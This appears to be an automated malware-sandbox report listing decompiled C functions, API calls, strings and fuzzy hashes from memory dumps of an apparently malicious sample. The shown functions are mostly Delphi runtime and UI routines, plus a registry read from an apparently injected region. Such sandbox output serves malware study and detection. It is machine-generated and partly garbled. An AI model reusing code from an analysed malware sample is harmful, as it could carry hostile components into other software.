					 *0x3db904 = E003A5190(4, _t23,  *0x3db904, _t27, _t29);
					_t24 = GetMonitorInfoA(_t27, _t29);
				}
				return _t24;
			}

0x003a54c9
0x003a54cc
0x003a54d6
0x003a54fb
0x003a5503
0x003a5523
0x003a5528
0x003a5533
0x003a553e
0x003a5548
0x003a5549
0x003a554a
0x003a554b
0x003a554c
0x003a554d
0x003a5557
0x003a5559
0x003a5561
0x003a5562
0x003a5562
0x003a5567
0x003a5567
0x003a54d8
0x003a54ea
0x003a54f7
0x003a54f7
0x003a5571

APIs

GetMonitorInfoA.USER32(?,?), ref: 003A54F1
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 003A5518
GetSystemMetrics.USER32 ref: 003A552D
GetSystemMetrics.USER32 ref: 003A5538
lstrcpy.KERNEL32 ref: 003A5562

Part of subcall function 003A5190: 70D9FFF6.KERNEL32(75400000,00000000,00000000,003A524F), ref: 003A5210

Strings

GetMonitorInfo, xrefs: 003A54D8
DISPLAY, xrefs: 003A5559

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: System$InfoMetrics$MonitorParameterslstrcpy
String ID: DISPLAY$GetMonitorInfo
API String ID: 1771318095-1633989206
Opcode ID: 43889927f683410740975ae816b9b5f515d7ab42cb89f8dd2310e4fab948bcfc
Instruction ID: cd443793afd00a927add3b40d3e783e653de4a47aa915b0fe57125b05964da2a
Opcode Fuzzy Hash: 43889927f683410740975ae816b9b5f515d7ab42cb89f8dd2310e4fab948bcfc
Instruction Fuzzy Hash: 5411E171A02B449FD722CF64EC447B7B7EDEB0BB10F09452AE946CB640D3B4A8008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 003A5668, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E003A5668(intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0x3db922 != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 &&  *_t29 >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *((intOrPtr*)(_t29 + 8)) = 0;
						 *((intOrPtr*)(_t29 + 0xc)) = GetSystemMetrics(0);
						 *((intOrPtr*)(_t29 + 0x10)) = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00386354();
						}
						_t24 = 1;
					}
				} else {
					_t26 =  *0x3db90c; // 0x3a5668
					 *0x3db90c = E003A5190(6, _t23, _t26, _t27, _t29);
					_t24 =  *0x3db90c(_t27, _t29);
				}
				return _t24;
			}

0x003a5671
0x003a5674
0x003a567e
0x003a56a3
0x003a56ab
0x003a56cb
0x003a56d0
0x003a56db
0x003a56e6
0x003a56f0
0x003a56f1
0x003a56f2
0x003a56f3
0x003a56f4
0x003a56f5
0x003a56ff
0x003a5701
0x003a5709
0x003a570a
0x003a570a
0x003a570f
0x003a570f
0x003a5680
0x003a5685
0x003a5692
0x003a569f
0x003a569f
0x003a5719

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 003A56C0
GetSystemMetrics.USER32 ref: 003A56D5
GetSystemMetrics.USER32 ref: 003A56E0
lstrcpy.KERNEL32 ref: 003A570A

Part of subcall function 003A5190: 70D9FFF6.KERNEL32(75400000,00000000,00000000,003A524F), ref: 003A5210

Strings

GetMonitorInfoW, xrefs: 003A5680
hV:, xrefs: 003A5685, 003A5692, 003A5699
DISPLAY, xrefs: 003A5701

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: DISPLAY$GetMonitorInfoW$hV:
API String ID: 1409579217-1014554679
Opcode ID: a11a64a48a582d84abb69117729465d4ea46967df5607376901d1f5b3ff6cd7d
Instruction ID: ca4b3597f0f114791541d1ff3f1e93d328a689cff10f23ca66bcec60b3e9cf2c
Opcode Fuzzy Hash: a11a64a48a582d84abb69117729465d4ea46967df5607376901d1f5b3ff6cd7d
Instruction Fuzzy Hash: 4A11D031612B04DFD722DF61AC45BA7B7ECFB0A710F11452AED45EB290D7B1A804CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0234AD66, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000001,?), ref: 0234AD84
RegQueryValueExA.ADVAPI32(?,Main,00000000,?,00000000,?), ref: 0234ADA9
RtlAllocateHeap.NTDLL(00000000,?), ref: 0234ADBA
RegQueryValueExA.ADVAPI32(?,Main,00000000,?,00000000,?), ref: 0234ADD5
HeapFree.KERNEL32(00000000,?), ref: 0234ADF5
RegCloseKey.ADVAPI32(?), ref: 0234ADFE

Strings

Main, xrefs: 0234ADA0, 0234ADA5, 0234ADD1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapQueryValue$AllocateCloseFreeOpen
String ID: Main
API String ID: 170146033-521822810
Opcode ID: 4b881548a74d4f27e05b2db5da2aec4e6963648a27b2849bff2304f4cc758eea
Instruction ID: 8b7fb5ee0bb4b8a2467c22893391e23012d83a0969a4c0a804d8c08765f6cf6b
Opcode Fuzzy Hash: 4b881548a74d4f27e05b2db5da2aec4e6963648a27b2849bff2304f4cc758eea
Instruction Fuzzy Hash: 8F1123B2D40109FFDB019F95DD98CEEBBBCEB08345B5084AAE501A2110DB30AE609F60

Uniqueness

Uniqueness Score: -1.00%

Function 00381AD0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00381AD0() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t19;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t28;

				_t26 = _t28;
				if( *0x3db5c4 == 0) {
					return _t2;
				} else {
					_push(_t26);
					_push(E00381BA6);
					_push( *[fs:edx]);
					 *[fs:edx] = _t28;
					if( *0x3db04d != 0) {
						_push("�\%");
						L00381368();
					}
					 *0x3db5c4 = 0;
					_t3 =  *0x3db624; // 0x2575b8
					LocalFree(_t3);
					 *0x3db624 = 0;
					_t19 =  *0x3db5ec; // 0x258bec
					while(_t19 != 0x3db5ec) {
						_t1 = _t19 + 8; // 0x2140000
						VirtualFree( *_t1, 0, 0x8000);
						_t19 =  *_t19;
					}
					E003813D0(0x3db5ec);
					E003813D0(0x3db5fc);
					E003813D0(0x3db628);
					_t14 =  *0x3db5e4; // 0x2585b8
					while(_t14 != 0) {
						 *0x3db5e4 =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x3db5e4; // 0x2585b8
					}
					_pop(_t23);
					 *[fs:eax] = _t23;
					_push(0x381bad);
					if( *0x3db04d != 0) {
						_push("�\%");
						L00381370();
					}
					_push("�\%");
					L00381378();
					return 0;
				}
			}

0x00381ad1
0x00381adb
0x00381baf
0x00381ae1
0x00381ae3
0x00381ae4
0x00381ae9
0x00381aec
0x00381af6
0x00381af8
0x00381afd
0x00381afd
0x00381b02
0x00381b09
0x00381b0f
0x00381b16
0x00381b1b
0x00381b35
0x00381b2a
0x00381b2e
0x00381b33
0x00381b33
0x00381b42
0x00381b4c
0x00381b56
0x00381b5b
0x00381b62
0x00381b66
0x00381b6d
0x00381b72
0x00381b77
0x00381b7d
0x00381b80
0x00381b83
0x00381b8f
0x00381b91
0x00381b96
0x00381b96
0x00381b9b
0x00381ba0
0x00381ba5
0x00381ba5

APIs

RtlEnterCriticalSection.KERNEL32(\%,00000000,00381BA6), ref: 00381AFD
LocalFree.KERNEL32(002575B8,00000000,00381BA6), ref: 00381B0F
VirtualFree.KERNEL32(02140000,00000000,00008000,002575B8,00000000,00381BA6), ref: 00381B2E
LocalFree.KERNEL32(002585B8,02140000,00000000,00008000,002575B8,00000000,00381BA6), ref: 00381B6D
RtlLeaveCriticalSection.KERNEL32(\%,00381BAD,002575B8,00000000,00381BA6), ref: 00381B96
RtlDeleteCriticalSection.KERNEL32(\%,00381BAD,002575B8,00000000,00381BA6), ref: 00381BA0

Strings

\%, xrefs: 00381AF8, 00381B91, 00381B9B

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID: \%
API String ID: 3782394904-3107672707
Opcode ID: 19d6cc75b68ed858e6f67925c065d9a70641d9e2c533336a1499ba052b838c80
Instruction ID: 250657ee7b5f1e35213700c1a428b5441b6f74a09e50823e1b7df937159b0c46
Opcode Fuzzy Hash: 19d6cc75b68ed858e6f67925c065d9a70641d9e2c533336a1499ba052b838c80
Instruction Fuzzy Hash: 1E11C175606340DEE713BB75BC42F69B79EEB47B00F4240E2F0048A6A1EBE4D802CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0235BB46, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 59stringtimeCOMMON

Download Yara Rule

APIs

lstrcmpi.KERNEL32(00000000,Main), ref: 0235BB67
RtlEnterCriticalSection.NTDLL(P)(), ref: 0235BB79
RtlLeaveCriticalSection.NTDLL(P)(), ref: 0235BB8C
lstrcmpi.KERNEL32(023673C0,00000000), ref: 0235BBAD
GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,02341553,00000000), ref: 0235BBC1

Strings

P)(, xrefs: 0235BB73, 0235BB78, 0235BB8B
Main, xrefs: 0235BB5F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSectionTimelstrcmpi$EnterFileLeaveSystem
String ID: Main$P)(
API String ID: 1266740956-3248355698
Opcode ID: 6301b59e7bae1a1b1a4a1d404c46f0acd69cb6d5f8948aa9741438a8c694561e
Instruction ID: 0e61c2f822122e19fc254cfa6b006430a200abd59948c7f561fd5d40de4b46b8
Opcode Fuzzy Hash: 6301b59e7bae1a1b1a4a1d404c46f0acd69cb6d5f8948aa9741438a8c694561e
Instruction Fuzzy Hash: D5119071A40214EFDB049F59D84DF9AF7ACFF04328F54C199EC0A93244D7B4E9108B90

Uniqueness

Uniqueness Score: -1.00%

Function 00383D40, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00383D40(void* __ecx) {
				long _v4;
				int _t3;

				if( *0x3db04c == 0) {
					if( *0x3d9030 == 0) {
						_t3 = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					return _t3;
				} else {
					if( *0x3db220 == 0xd7b2 &&  *0x3db228 > 0) {
						 *0x3db238();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1e,  &_v4, 0);
					return WriteFile(GetStdHandle(0xfffffff5), E00383DC8, 2,  &_v4, 0);
				}
			}

0x00383d48
0x00383da8
0x00383db8
0x00383db8
0x00383dbe
0x00383d4a
0x00383d53
0x00383d63
0x00383d63
0x00383d7f
0x00383da0
0x00383da0

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,003D8E5C,00000000,?,00383E0E,?,?,003DB638,?,?,003D90BC,00385FC5,003D8E5C), ref: 00383D79
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,003D8E5C), ref: 00383D7F
GetStdHandle.KERNEL32(000000F5,00383DC8,00000002,003D8E5C,00000000,00000000,?,00383E0E,?,?,003DB638,?,?,003D90BC,00385FC5,003D8E5C), ref: 00383D94
WriteFile.KERNEL32(00000000,000000F5,00383DC8,00000002,003D8E5C), ref: 00383D9A
MessageBoxA.USER32 ref: 00383DB8

Strings

Error, xrefs: 00383DAC
Runtime error at 00000000, xrefs: 00383D72, 00383DB1

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: af5fa616e2892495a31b0236da3f63bfd165507b1e290353e6fd7a08b16cddfa
Instruction ID: 9a1792a020318209cb4a5a50b545e15c2bf962a3c4cbdab28bfcb9a2334dec97
Opcode Fuzzy Hash: af5fa616e2892495a31b0236da3f63bfd165507b1e290353e6fd7a08b16cddfa
Instruction Fuzzy Hash: 06F0B452681384B5EB337364BC06FDE675C5744F21F114E8BF260DC2E297B445C98721

Uniqueness

Uniqueness Score: -1.00%

Function 003BBC08, Relevance: 12.2, APIs: 8, Instructions: 170
windowCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E003BBC08(void* __eax, void* __ecx, intOrPtr __edx, void* __eflags, char _a4, intOrPtr _a8, int _a12, int _a16) {
				intOrPtr _v8;
				struct HDC__* _v12;
				char _v28;
				char _v44;
				void* __edi;
				void* __ebp;
				void* _t46;
				void* _t57;
				int _t85;
				void* _t119;
				void* _t120;
				void* _t129;
				struct HDC__* _t138;
				struct HDC__* _t139;
				int _t140;
				void* _t141;

				_t121 = __ecx;
				_t137 = __ecx;
				_v8 = __edx;
				_t120 = __eax;
				_t46 = E003BB7A8(__eax);
				if(_t46 != 0) {
					_t144 = _a4;
					if(_a4 == 0) {
						__eflags =  *(_t120 + 0x54);
						if( *(_t120 + 0x54) == 0) {
							_t140 = E003A2E9C(1);
							 *(_t120 + 0x54) = _t140;
							E003A41D4(_t140, 1);
							 *((intOrPtr*)( *_t140 + 0x40))();
							_t121 =  *_t140;
							 *((intOrPtr*)( *_t140 + 0x34))();
						}
						E003A00E4( *((intOrPtr*)(E003A3464( *(_t120 + 0x54)) + 0x14)), _t121, 0xffffff, _t137, _t141, __eflags);
						E00395B00(0,  *(_t120 + 0x34), 0,  &_v44,  *(_t120 + 0x30));
						_push( &_v44);
						_t57 = E003A3464( *(_t120 + 0x54));
						_pop(_t129);
						E003A04BC(_t57, _t129);
						_push(0);
						_push(0);
						_push(0xffffffff);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(E003A07A4(E003A3464( *(_t120 + 0x54))));
						_push(_v8);
						_push(E003BB8E4(_t120));
						L003A5C64();
						E00395B00(_a16, _a16 +  *(_t120 + 0x34), _a12,  &_v28, _a12 +  *(_t120 + 0x30));
						_v12 = E003A07A4(E003A3464( *(_t120 + 0x54)));
						E003A00E4( *((intOrPtr*)(_t137 + 0x14)), _a16 +  *(_t120 + 0x34), 0xff000014, _t137, _t141, __eflags);
						_t138 = E003A07A4(_t137);
						SetTextColor(_t138, 0xffffff);
						SetBkColor(_t138, 0);
						_t85 = _a16 + 1;
						__eflags = _t85;
						BitBlt(_t138, _t85, _a12 + 1,  *(_t120 + 0x34),  *(_t120 + 0x30), _v12, 0, 0, 0xe20746);
						E003A00E4( *((intOrPtr*)(_t137 + 0x14)), _a16 +  *(_t120 + 0x34), 0xff000010, _t137, _t141, _t85);
						_t139 = E003A07A4(_t137);
						SetTextColor(_t139, 0xffffff);
						SetBkColor(_t139, 0);
						return BitBlt(_t139, _a16, _a12,  *(_t120 + 0x34),  *(_t120 + 0x30), _v12, 0, 0, 0xe20746);
					}
					_push(_a8);
					_push(E003BB5F8(_t144));
					E003BBBE0(_t120, _t144);
					_push(E003BB5F8(_t144));
					_push(0);
					_push(0);
					_push(_a12);
					_push(_a16);
					_push(E003A07A4(__ecx));
					_push(_v8);
					_t119 = E003BB8E4(_t120);
					_push(_t119);
					L003A5C64();
					return _t119;
				}
				return _t46;
			}

0x003bbc08
0x003bbc11
0x003bbc13
0x003bbc16
0x003bbc1a
0x003bbc21
0x003bbc27
0x003bbc2b
0x003bbc71
0x003bbc75
0x003bbc83
0x003bbc85
0x003bbc8c
0x003bbc98
0x003bbca0
0x003bbca2
0x003bbca2
0x003bbcb5
0x003bbcc9
0x003bbcd1
0x003bbcd5
0x003bbcda
0x003bbcdb
0x003bbce0
0x003bbce2
0x003bbce4
0x003bbce6
0x003bbce8
0x003bbcea
0x003bbcec
0x003bbcfb
0x003bbcff
0x003bbd07
0x003bbd08
0x003bbd24
0x003bbd36
0x003bbd41
0x003bbd4d
0x003bbd55
0x003bbd5d
0x003bbd7f
0x003bbd7f
0x003bbd82
0x003bbd8f
0x003bbd9b
0x003bbda3
0x003bbdab
0x00000000
0x003bbdce
0x003bbc30
0x003bbc39
0x003bbc3c
0x003bbc46
0x003bbc47
0x003bbc49
0x003bbc4e
0x003bbc52
0x003bbc5a
0x003bbc5e
0x003bbc61
0x003bbc66
0x003bbc67
0x00000000
0x003bbc67
0x003bbdd9

APIs

7350D9B4.COMCTL32(00000000,?,00000000,?,?,00000000,00000000,00000000,00000000,?), ref: 003BBC67
7350D9B4.COMCTL32(00000000,?,00000000,00000000,00000000,00000000,00000000,000000FF,00000000,00000000), ref: 003BBD08
SetTextColor.GDI32(00000000,00FFFFFF), ref: 003BBD55
SetBkColor.GDI32(00000000,00000000), ref: 003BBD5D
BitBlt.GDI32(00000000,?,?,?,?,00000000,00000000,00000000,00E20746), ref: 003BBD82

Part of subcall function 003BBBE0: 73514419.COMCTL32(00000000,?,003BBC41,00000000,?), ref: 003BBBF6

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: 7350Color$73514419Text
String ID:
API String ID: 1481353502-0
Opcode ID: 1ef099393f74f256bf979f51165c6d99a29021f3bbc30227252d935aba0a58a1
Instruction ID: cc0d359f238cf1f2c08b605075098c16c1f8ba7e1a3249afb237ea02ce6986ea
Opcode Fuzzy Hash: 1ef099393f74f256bf979f51165c6d99a29021f3bbc30227252d935aba0a58a1
Instruction Fuzzy Hash: D5510371600204AFDB46FF68CDC2F9E77ACAF4A314F1441A5BA04EF286CA75ED418B65

Uniqueness

Uniqueness Score: -1.00%

Function 003B6CE0, Relevance: 12.1, APIs: 8, Instructions: 144
windowCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E003B6CE0(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v22;
				intOrPtr _v28;
				struct HWND__* _v32;
				char _v36;
				intOrPtr _t50;
				intOrPtr _t56;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				intOrPtr _t80;
				intOrPtr _t82;
				intOrPtr _t85;
				void* _t90;
				intOrPtr _t122;
				void* _t124;
				void* _t127;
				void* _t128;
				intOrPtr _t129;

				_t125 = __esi;
				_t124 = __edi;
				_t105 = __ebx;
				_t127 = _t128;
				_t129 = _t128 + 0xffffffe0;
				_push(__ebx);
				_push(__esi);
				_v36 = 0;
				_v8 = __eax;
				_push(_t127);
				_push(0x3b6fa8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t129;
				E003C6F30();
				if( *((char*)(_v8 + 0x57)) != 0 ||  *((intOrPtr*)( *_v8 + 0x50))() == 0 || ( *(_v8 + 0x2f4) & 0x00000008) != 0 ||  *((char*)(_v8 + 0x22f)) == 1) {
					_t50 =  *0x3d9ff8; // 0x39dcc8
					E00385C40(_t50,  &_v36);
					E0038B5C4(_v36, 1);
					E00383870();
				}
				if(GetCapture() != 0) {
					SendMessageA(GetCapture(), 0x1f, 0, 0);
				}
				ReleaseCapture();
				_t56 =  *0x3dbb1c; // 0x2141868
				E003B9180(_t56);
				_push(_t127);
				_push(0x3b6f8b);
				_push( *[fs:edx]);
				 *[fs:edx] = _t129;
				 *(_v8 + 0x2f4) =  *(_v8 + 0x2f4) | 0x00000008;
				_v32 = GetActiveWindow();
				_t60 =  *0x3d9a70; // 0x0
				_v20 = _t60;
				_t61 =  *0x3dbb20; // 0x2141474
				_t20 = _t61 + 0x78; // 0x0
				_t62 =  *0x3dbb20; // 0x2141474
				_t21 = _t62 + 0x7c; // 0x21416b8
				E00396FB0( *_t21,  *_t20, 0);
				_t65 =  *0x3dbb20; // 0x2141474
				 *((intOrPtr*)(_t65 + 0x78)) = _v8;
				_t66 =  *0x3dbb20; // 0x2141474
				_t24 = _t66 + 0x44; // 0x0
				_v22 =  *_t24;
				_t68 =  *0x3dbb20; // 0x2141474
				E003B81B0(_t68,  *_t20, 0);
				_t70 =  *0x3dbb20; // 0x2141474
				_t26 = _t70 + 0x48; // 0x0
				_v28 =  *_t26;
				_v16 = E003B10B8(0, _t105, _t124, _t125);
				_push(_t127);
				_push(0x3b6f69);
				_push( *[fs:edx]);
				 *[fs:edx] = _t129;
				E003B6C30(_v8);
				_push(_t127);
				_push(0x3b6ec8);
				_push( *[fs:edx]);
				 *[fs:edx] = _t129;
				SendMessageA(E003CEEB8(_v8), 0xb000, 0, 0);
				 *((intOrPtr*)(_v8 + 0x24c)) = 0;
				do {
					_t80 =  *0x3dbb1c; // 0x2141868
					E003B9F8C(_t80);
					_t82 =  *0x3dbb1c; // 0x2141868
					if( *((char*)(_t82 + 0x9c)) == 0) {
						if( *((intOrPtr*)(_v8 + 0x24c)) != 0) {
							E003B6B90(_v8);
						}
					} else {
						 *((intOrPtr*)(_v8 + 0x24c)) = 2;
					}
					_t85 =  *((intOrPtr*)(_v8 + 0x24c));
				} while (_t85 == 0);
				_v12 = _t85;
				SendMessageA(E003CEEB8(_v8), 0xb001, 0, 0);
				_t90 = E003CEEB8(_v8);
				if(_t90 != GetActiveWindow()) {
					_v32 = 0;
				}
				_pop(_t122);
				 *[fs:eax] = _t122;
				_push(0x3b6ecf);
				return E003B6C28();
			}

0x003b6ce0
0x003b6ce0
0x003b6ce0
0x003b6ce1
0x003b6ce3
0x003b6ce6
0x003b6ce7
0x003b6cea
0x003b6ced
0x003b6cf2
0x003b6cf3
0x003b6cf8
0x003b6cfb
0x003b6cfe
0x003b6d0a
0x003b6d33
0x003b6d38
0x003b6d47
0x003b6d4c
0x003b6d4c
0x003b6d58
0x003b6d66
0x003b6d66
0x003b6d6b
0x003b6d70
0x003b6d75
0x003b6d7c
0x003b6d7d
0x003b6d82
0x003b6d85
0x003b6d8b
0x003b6d97
0x003b6d9a
0x003b6d9f
0x003b6da2
0x003b6da7
0x003b6daa
0x003b6daf
0x003b6db4
0x003b6db9
0x003b6dc1
0x003b6dc4
0x003b6dc9
0x003b6dcd
0x003b6dd3
0x003b6dd8
0x003b6ddd
0x003b6de2
0x003b6de5
0x003b6def
0x003b6df4
0x003b6df5
0x003b6dfa
0x003b6dfd
0x003b6e03
0x003b6e0a
0x003b6e0b
0x003b6e10
0x003b6e13
0x003b6e28
0x003b6e32
0x003b6e38
0x003b6e38
0x003b6e3d
0x003b6e42
0x003b6e4e
0x003b6e69
0x003b6e6e
0x003b6e6e
0x003b6e50
0x003b6e53
0x003b6e53
0x003b6e76
0x003b6e7c
0x003b6e80
0x003b6e95
0x003b6e9d
0x003b6eab
0x003b6eaf
0x003b6eaf
0x003b6eb4
0x003b6eb7
0x003b6eba
0x003b6ec7

APIs

GetCapture.USER32 ref: 003B6D51
GetCapture.USER32 ref: 003B6D60
SendMessageA.USER32 ref: 003B6D66
ReleaseCapture.USER32 ref: 003B6D6B
GetActiveWindow.USER32 ref: 003B6D92
SendMessageA.USER32 ref: 003B6E28
SendMessageA.USER32 ref: 003B6E95
GetActiveWindow.USER32 ref: 003B6EA4

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: 5764f9120610c1da6b1d9b0f4258f662b5cd68c9d69c966ab8af17413a0a5811
Instruction ID: 367c3d8344fc262522cce8890068fc75450cd99cab39ee2c43b8d1dce3c9a496
Opcode Fuzzy Hash: 5764f9120610c1da6b1d9b0f4258f662b5cd68c9d69c966ab8af17413a0a5811
Instruction Fuzzy Hash: 26513C34A01208DFDB02EF69D956FAAB7F5EF48704F5144A9F5049B7A2D774AE00CB44

Uniqueness

Uniqueness Score: -1.00%

Function 003CCEF4, Relevance: 12.1, APIs: 8, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003CCEF4(void* __eax, void* __ecx, struct HDC__* __edx, void* __eflags, intOrPtr _a4) {
				int _v8;
				int _v12;
				int _v16;
				char _v20;
				struct tagRECT _v36;
				signed int _t54;
				intOrPtr _t59;
				int _t61;
				void* _t63;
				void* _t66;
				void* _t82;
				int _t98;
				struct HDC__* _t99;

				_t99 = __edx;
				_t82 = __eax;
				 *(__eax + 0x54) =  *(__eax + 0x54) | 0x00000080;
				_v16 = SaveDC(__edx);
				E003C700C(__edx, _a4, __ecx);
				IntersectClipRect(__edx, 0, 0,  *(_t82 + 0x48),  *(_t82 + 0x4c));
				_t98 = 0;
				_v12 = 0;
				if((GetWindowLongA(E003CEEB8(_t82), 0xffffffec) & 0x00000002) == 0) {
					_t54 = GetWindowLongA(E003CEEB8(_t82), 0xfffffff0);
					__eflags = _t54 & 0x00800000;
					if((_t54 & 0x00800000) != 0) {
						_v12 = 3;
						_t98 = 0xa00f;
					}
				} else {
					_v12 = 0xa;
					_t98 = 0x200f;
				}
				if(_t98 != 0) {
					SetRect( &_v36, 0, 0,  *(_t82 + 0x48),  *(_t82 + 0x4c));
					DrawEdge(_t99,  &_v36, _v12, _t98);
					E003C700C(_t99, _v36.top, _v36.left);
					IntersectClipRect(_t99, 0, 0, _v36.right - _v36.left, _v36.bottom - _v36.top);
				}
				E003C9884(_t82, _t99, 0x14, 0);
				E003C9884(_t82, _t99, 0xf, 0);
				_t59 =  *((intOrPtr*)(_t82 + 0x19c));
				if(_t59 == 0) {
					L12:
					_t61 = RestoreDC(_t99, _v16);
					 *(_t82 + 0x54) =  *(_t82 + 0x54) & 0x0000ff7f;
					return _t61;
				} else {
					_t63 =  *((intOrPtr*)(_t59 + 8)) - 1;
					if(_t63 < 0) {
						goto L12;
					}
					_v20 = _t63 + 1;
					_v8 = 0;
					do {
						_t66 = E00396F34( *((intOrPtr*)(_t82 + 0x19c)), _v8);
						_t107 =  *((char*)(_t66 + 0x57));
						if( *((char*)(_t66 + 0x57)) != 0) {
							E003CCEF4(_t66,  *((intOrPtr*)(_t66 + 0x40)), _t99, _t107,  *((intOrPtr*)(_t66 + 0x44)));
						}
						_v8 = _v8 + 1;
						_t36 =  &_v20;
						 *_t36 = _v20 - 1;
					} while ( *_t36 != 0);
					goto L12;
				}
			}

0x003cceff
0x003ccf01
0x003ccf03
0x003ccf0f
0x003ccf19
0x003ccf2b
0x003ccf30
0x003ccf34
0x003ccf49
0x003ccf63
0x003ccf68
0x003ccf6d
0x003ccf6f
0x003ccf76
0x003ccf76
0x003ccf4b
0x003ccf4b
0x003ccf52
0x003ccf52
0x003ccf7d
0x003ccf8f
0x003ccf9e
0x003ccfab
0x003ccfc3
0x003ccfc3
0x003ccfd3
0x003ccfe3
0x003ccfe8
0x003ccff0
0x003cd02f
0x003cd034
0x003cd039
0x003cd045
0x003ccff2
0x003ccff5
0x003ccff8
0x00000000
0x00000000
0x003ccffb
